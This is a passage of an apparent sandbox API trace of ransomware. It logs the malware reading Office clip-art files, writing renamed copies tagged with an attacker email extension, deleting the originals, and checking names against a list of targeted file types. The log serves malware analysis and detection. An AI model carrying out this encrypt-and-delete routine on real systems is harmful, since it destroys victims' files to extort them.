lpOverlapped=0x0) returned 1 [0187.540] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.541] SetEndOfFile (hFile=0x578) returned 1 [0187.541] CloseHandle (hObject=0x578) returned 1 [0187.541] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.541] SetEndOfFile (hFile=0x46c) returned 1 [0187.559] CloseHandle (hObject=0x46c) returned 1 [0187.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0187.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.562] lstrlenW (lpString=".doc") returned 4 [0187.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.562] lstrlenW (lpString=".docx") returned 5 [0187.562] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.562] lstrlenW (lpString=".pdf") returned 4 [0187.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.562] lstrlenW (lpString=".xls") returned 4 [0187.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.562] lstrlenW (lpString=".xlsx") returned 5 [0187.562] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.562] lstrlenW (lpString=".ppt") returned 4 [0187.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.562] lstrlenW (lpString=".zip") returned 4 [0187.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.562] lstrlenW (lpString=".rar") returned 4 [0187.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.562] lstrlenW (lpString=".bz2") returned 4 [0187.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.562] lstrlenW (lpString=".7z") returned 3 [0187.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.562] lstrlenW (lpString=".dbf") returned 4 [0187.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.563] lstrlenW (lpString=".1cd") returned 4 [0187.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.563] lstrlenW (lpString=".jpg") returned 4 [0187.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.563] lstrlenW (lpString=".doc") returned 4 [0187.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString=".docx") returned 5 [0187.563] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.563] lstrlenW (lpString=".pdf") returned 4 [0187.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString=".xls") returned 4 [0187.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.563] lstrlenW (lpString=".xlsx") returned 5 [0187.563] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.563] lstrlenW (lpString=".ppt") returned 4 [0187.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.563] lstrlenW (lpString=".zip") returned 4 [0187.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.563] lstrlenW (lpString=".rar") returned 4 [0187.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.563] lstrlenW (lpString=".bz2") returned 4 [0187.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.564] lstrlenW (lpString=".7z") returned 3 [0187.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.564] lstrlenW (lpString=".dbf") returned 4 [0187.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.564] lstrlenW (lpString=".1cd") returned 4 [0187.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0187.564] lstrlenW (lpString=".jpg") returned 4 [0187.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.564] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.564] lstrlenW (lpString="J0152430.WMF") returned 12 [0187.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.567] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14132) returned 1 [0187.567] CloseHandle (hObject=0x46c) returned 1 [0187.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220 [0187.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.568] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.568] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0187.569] GetLastError () returned 0x0 [0187.569] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3734, lpOverlapped=0x0) returned 1 [0187.799] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3740, lpOverlapped=0x0) returned 1 [0187.800] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.800] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.800] SetEndOfFile (hFile=0x578) returned 1 [0187.800] CloseHandle (hObject=0x578) returned 1 [0187.801] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.801] SetEndOfFile (hFile=0x46c) returned 1 [0187.803] CloseHandle (hObject=0x46c) returned 1 [0187.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.805] lstrlenW (lpString=".doc") returned 4 [0187.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString=".docx") returned 5 [0187.805] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.805] lstrlenW (lpString=".pdf") returned 4 [0187.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".xls") returned 4 [0187.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.806] lstrlenW (lpString=".xlsx") returned 5 [0187.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.806] lstrlenW (lpString=".ppt") returned 4 [0187.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.806] lstrlenW (lpString=".zip") returned 4 [0187.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.806] lstrlenW (lpString=".rar") returned 4 [0187.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".bz2") returned 4 [0187.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".7z") returned 3 [0187.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.806] lstrlenW (lpString=".dbf") returned 4 [0187.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.806] lstrlenW (lpString=".1cd") returned 4 [0187.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.806] lstrlenW (lpString=".jpg") returned 4 [0187.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.806] lstrlenW (lpString=".doc") returned 4 [0187.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".docx") returned 5 [0187.806] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.806] lstrlenW (lpString=".pdf") returned 4 [0187.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".xls") returned 4 [0187.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.806] lstrlenW (lpString=".xlsx") returned 5 [0187.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.807] lstrlenW (lpString=".ppt") returned 4 [0187.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.807] lstrlenW (lpString=".zip") returned 4 [0187.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.807] lstrlenW (lpString=".rar") returned 4 [0187.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.807] lstrlenW (lpString=".bz2") returned 4 [0187.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.807] lstrlenW (lpString=".7z") returned 3 [0187.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.807] lstrlenW (lpString=".dbf") returned 4 [0187.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.807] lstrlenW (lpString=".1cd") returned 4 [0187.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0187.807] lstrlenW (lpString=".jpg") returned 4 [0187.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.807] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.807] lstrlenW (lpString="J0152600.WMF") returned 12 [0187.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.810] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9768) returned 1 [0187.810] CloseHandle (hObject=0x46c) returned 1 [0187.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220 [0187.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.811] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.811] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0187.812] GetLastError () returned 0x0 [0187.812] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2628, lpOverlapped=0x0) returned 1 [0187.813] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2630, lpOverlapped=0x0) returned 1 [0187.815] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.815] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.815] SetEndOfFile (hFile=0x578) returned 1 [0187.815] CloseHandle (hObject=0x578) returned 1 [0187.816] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.816] SetEndOfFile (hFile=0x46c) returned 1 [0187.818] CloseHandle (hObject=0x46c) returned 1 [0187.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0187.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.820] lstrlenW (lpString=".doc") returned 4 [0187.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.820] lstrlenW (lpString=".docx") returned 5 [0187.820] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.820] lstrlenW (lpString=".pdf") returned 4 [0187.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.820] lstrlenW (lpString=".xls") returned 4 [0187.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.820] lstrlenW (lpString=".xlsx") returned 5 [0187.820] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.820] lstrlenW (lpString=".ppt") returned 4 [0187.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.820] lstrlenW (lpString=".zip") returned 4 [0187.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.820] lstrlenW (lpString=".rar") returned 4 [0187.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".bz2") returned 4 [0187.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".7z") returned 3 [0187.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.821] lstrlenW (lpString=".dbf") returned 4 [0187.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.821] lstrlenW (lpString=".1cd") returned 4 [0187.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.821] lstrlenW (lpString=".jpg") returned 4 [0187.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.821] lstrlenW (lpString=".doc") returned 4 [0187.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".docx") returned 5 [0187.821] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.821] lstrlenW (lpString=".pdf") returned 4 [0187.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".xls") returned 4 [0187.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.821] lstrlenW (lpString=".xlsx") returned 5 [0187.821] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.821] lstrlenW (lpString=".ppt") returned 4 [0187.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.821] lstrlenW (lpString=".zip") returned 4 [0187.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.821] lstrlenW (lpString=".rar") returned 4 [0187.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.821] lstrlenW (lpString=".bz2") returned 4 [0187.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.822] lstrlenW (lpString=".7z") returned 3 [0187.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.822] lstrlenW (lpString=".dbf") returned 4 [0187.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.822] lstrlenW (lpString=".1cd") returned 4 [0187.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0187.822] lstrlenW (lpString=".jpg") returned 4 [0187.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.822] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.822] lstrlenW (lpString="J0152602.WMF") returned 12 [0187.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.827] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6276) returned 1 [0187.827] CloseHandle (hObject=0x46c) returned 1 [0187.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220 [0187.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.834] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.834] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0187.836] GetLastError () returned 0x0 [0187.836] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1884, lpOverlapped=0x0) returned 1 [0187.943] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1890, lpOverlapped=0x0) returned 1 [0187.944] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.944] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.945] SetEndOfFile (hFile=0x578) returned 1 [0187.945] CloseHandle (hObject=0x578) returned 1 [0187.945] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, 